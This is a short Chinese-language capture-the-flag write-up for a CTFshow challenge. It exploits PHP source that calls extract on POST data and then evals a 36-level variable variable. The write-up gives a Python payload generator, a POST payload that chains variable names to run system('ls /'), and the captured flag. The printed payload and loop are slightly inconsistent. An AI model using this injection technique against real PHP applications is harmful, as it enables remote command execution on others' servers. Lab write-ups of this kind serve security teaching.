题目来源
CTFshow-菜狗杯
考点
$的多重取值
题目源码
error_reporting(0);
extract($_POST);
eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);
highlight_file(__FILE__);
解题思路
通过阅读源码,我们可以发现共有36个$符号,也就是说需要构造36层取值,且第一层必须是’_’
Payload
我们采用python代码构造payload,读取文件列表
import string
a='_=a&'
s=string.ascii_letters
code="system('ls /');"
for i in range(35):
a+=s[i]+"="+s[i+1]+"&"
a+=s[i]+"="+code
print(a)
_=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=n&n=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=A&A=B&B=C&C=D&D=E&E=F&F=G&G=H&H=I&I=J&I=system(‘ls /’);
看到列表中有个 f1agaaa文件很可以,
构造新的读取文件命令
得到flag
ctfshow{50e58443-4cae-41a5-99bd-e9b62828fdcd}